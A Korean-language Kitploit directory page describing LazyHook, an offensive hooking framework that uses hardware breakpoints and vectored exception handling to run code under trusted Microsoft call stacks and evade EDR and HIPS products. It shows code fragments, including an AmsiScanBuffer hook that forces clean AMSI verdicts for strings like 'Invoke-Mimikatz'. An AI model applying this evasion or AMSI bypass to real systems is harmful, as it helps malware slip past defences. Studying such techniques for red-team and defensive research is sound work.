Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/hwbp/lazyhook
ExploitationIDS/IPS EvasionMalware AnalysisLearning & EducationRed TeamingAnti-Bot
GitHubhwbp/lazyhook

LazyHook

신뢰할 수 있는 Microsoft 호출 스택 내에서 악성 코드를 실행하여 행동 분석을 회피하고, 패치 없는 후킹 라이브러리 IAT/EAT를 사용합니다.

저장소 보기
148258개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

개요

LazyHook은 호스트 침입 방지 시스템(HIPS)을 우회하는 은밀한 API 후킹 프레임워크로, 호출 스택 스푸핑을 통해 동작합니다. CPU 수준의 하드웨어 중단점과 Vectored Exception Handling을 활용하여, 신뢰할 수 있는 Microsoft 서명 모듈에서 발생한 것처럼 임의 코드를 실행합니다. 이는 호출 스택 검사와 모듈 출처 확인에 의존하는 행동 분석 엔진을 완전히 속입니다.

신뢰할 수 있는 Microsoft 호출 스택 내에서 악성 코드를 실행하여 행동 분석을 회피하세요
하드웨어 중단점 + VEH를 사용하여 정당한 함수를 가로채고 모듈 출처를 스푸핑합니다.

문제: 현대 보안 소프트웨어

호스트 침입 방지 시스템(HIPS) 및 행동 분석 엔진은 다음을 통해 애플리케이션을 모니터링합니다:

  • 호출 스택 분석: API 호출의 출처 및 흐름 추적
  • 모듈 출처 확인: 의심스러운 동작이 신뢰할 수 있는 모듈에서 발생하는지 확인
  • API 패턴 인식: 악성 시퀀스 감지 (예: VirtualAlloc → WriteProcessMemory → CreateRemoteThread)
  • 반환 주소 검증: 반환 주소가 합법적인 코드 섹션을 가리키는지 확인

Kaspersky System Watcher, Windows Defender, Cylance, CrowdStrike와 같은 시스템은 모두 이러한 기술의 변형을 사용합니다.

해결책: 신뢰할 수 있는 호출 스택 스푸핑

Microsoft 서명 어셈블리(예: System.Windows.Forms.dll, user32.dll)의 함수를 가로채면 완전히 합법적으로 보이는 호출 스택 내에서 임의 로직을 실행할 수 있습니다.

참고: MsgBox를 후킹하고 바로 다음에 사용자 정의 코드를 호출하는 JmpHook도 가능합니다. LazyHook은 그렇게 하지 않습니다.

이것이 작동하는 이유:

  1. 후킹된 함수는 신뢰할 수 있는 디지털 서명된 Microsoft DLL에 있습니다.
  2. 페이로드가 실행될 때, 호출 스택은 신뢰할 수 있는 모듈을 호출자로 표시합니다.
  3. 하드웨어 중단점은 메모리 수정을 남기지 않으므로 무결성 검사를 통과합니다.

보안 소프트웨어는 두 번째 시나리오를 보고 다음과 같이 생각합니다: "user32.dll의 MessageBoxA가 Windows API를 호출하고 있나? 정상적인 동작이군."

작동 방식

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│  1. 대상 함수 호출                                      │
│     ↓                                                    │
│  2. CPU 디버그 레지스터 트리거 (DR0-DR3)               │
│     ↓                                                    │
│  3. EXCEPTION_SINGLE_STEP 발생                          │
│     ↓                                                    │
│  4. VEH 핸들러가 예외 가로채기                          │
│     ↓                                                    │
│  5. 실행이 후크 함수로 리디렉션                         │
│     ↓                                                    │
│  6. CallOriginal()이 일시적으로 중단점 비활성화         │
│     ↓                                                    │
│  7. 원래 함수 실행                                      │
│     ↓                                                    │
│  8. 중단점 재활성화                                     │
└─────────────────────────────────────────────────────────┘

후크 유형

IAT (Import Address Table) 후킹

가져온 함수의 주소를 IAT에서 찾아 하드웨어 중단점을 설정함으로써 가로챕니다. 이는 프로세스 내 특정 가져오기를 후킹합니다.

root@kitploit:~
HookIAT("user32.dll", "MessageBoxA", HookFunction, &OriginalFunction);

EAT (Export Address Table) 후킹

내보내기 테이블을 통해 DLL에서 내보낸 함수의 주소를 확인하여 전역적으로 후킹합니다. 이는 해당 내보내기에 대한 모든 호출에 영향을 미칩니다.

root@kitploit:~
HookEAT("amsi.dll", "AmsiScanBuffer", HookFunction, &OriginalFunction);

Entry.cpp 데모

포함된 데모는 세 가지 실용적인 시나리오를 보여줍니다:

1. MessageBoxA IAT 후크

MessageBoxA 호출을 가로채고 표시된 메시지를 수정하여 IAT 후킹을 보여줍니다:

root@kitploit:~
int WINAPI HookMessageBoxA(HWND H, LPCSTR T, LPCSTR C, UINT U)
{
    printf("[*] MessageBoxA hooked!\n");
    return LazyHook::CallOriginal<int>(LazyHook::GetIatState(), H, "Hooked!", ">:)", U);
}

2. CreateFileA EAT 후크 (주석 처리된 예제)

CreateFileA 호출을 기록하여 파일 작업을 모니터링하는 방법을 보여줍니다:

root@kitploit:~
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
    printf("[*] CreateFileA hooked: %s\n", Filename);
    return LazyHook::CallOriginal<HANDLE>(...);
}

3. AmsiScanBuffer 후크를 통한 AMSI 우회

모든 AMSI 검사가 깨끗한 결과를 반환하도록 강제하여 보안 소프트웨어 우회를 보여줍니다:

root@kitploit:~
HRESULT WINAPI HookAmsiScanBuffer(...)
{
    printf("[*] AmsiScanBuffer hooked! Bypassing...\n");
    HRESULT OrgResult = LazyHook::CallOriginal<HRESULT>(...);
    (*Result) = AMSI_RESULT_CLEAN;  // 내용에 관계없이 깨끗하게 강제
    return OrgResult;
}

데모는 "Invoke-Mimikatz"(알려진 악성 문자열)를 검사하여 AMSI 우회를 테스트하고 깨끗한 것으로 분류됨을 보여줍니다.

구현 세부 사항

디버그 레지스터 구성

root@kitploit:~
DR7 레이아웃 (간략):
- 비트 0,2,4,6: DR0-DR3 활성화 플래그 (로컬 활성화)
- 비트 16-31: 중단점 조건 (실행, 쓰기, IO, R/W)

프레임워크는 DR7을 다음과 같이 구성합니다:

  • 실행 중단점 활성화 (실행 조건에 대해 00b)
  • 중단점 정밀도를 위해 1바이트 길이 설정

Vectored Exception Handling

VEH 핸들러:

  1. 예외가 EXCEPTION_SINGLE_STEP인지 확인
  2. 명령 포인터 (RIP/EIP)를 등록된 후크와 비교
  3. 일치하면 실행을 후크 함수로 리디렉션
  4. 후크에서 재개하기 위해 EXCEPTION_CONTINUE_EXECUTION 반환

CallOriginal 패턴

root@kitploit:~
template<typename Ret, typename... Args>
Ret CallOriginal(VehHookState* State, Args... args)
{
    RemoveHardwareBreakpoint(State->DrIndex);  // 일시적으로 비활성화
    Ret Result = ((FuncType)State->OriginalFunction)(args...);
    SetHardwareBreakpoint(State->OriginalFunction, State->DrIndex);  // 재활성화
    return Result;
}

예제 사용 사례

1. AMSI 우회

데모는 AmsiScanBuffer를 후킹하여 깨끗한 검사 결과를 강제하는 방법을 보여줍니다:

root@kitploit:~
HRESULT WINAPI HookAmsiScanBuffer(...)
{
    HRESULT Result = LazyHook::CallOriginal<HRESULT>(...);
    (*Result) = AMSI_RESULT_CLEAN;  // 깨끗한 결과로 강제
    return Result;
}

이는 중요한 API 호출을 가로채서 런타임에 보안 소프트웨어 동작을 수정할 수 있는 방법을 보여줍니다.

2. 함수 호출 모니터링

애플리케이션 동작을 수정하지 않고 파일 액세스를 기록하기 위해 CreateFileA를 후킹합니다:

root@kitploit:~
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
    printf("File accessed: %s\n", Filename);
    return LazyHook::CallOriginal<HANDLE>(...);
}

책임 있는 사용 및 법적 고지

이 코드는 다음을 위한 고급 회피 기술을 시연합니다:

  • 보안 연구 및 교육
  • 허가된 환경에서의 레드팀 운영
  • 악성코드 분석 및 방어 연구

⚠️ 경고: 무단 사용으로 보안 제어를 우회하거나, 소프트웨어 동작을 수정하거나, 보호를 회피하는 경우 컴퓨터 사기 법률(CFAA, GDPR, 해당 법률)을 위반할 수 있습니다. 이 프레임워크는 교육 및 허가된 보안 연구 목적으로만 제공됩니다.


공격 기술을 이해하면 더 나은 방어를 구축할 수 있습니다.

도구 다운로드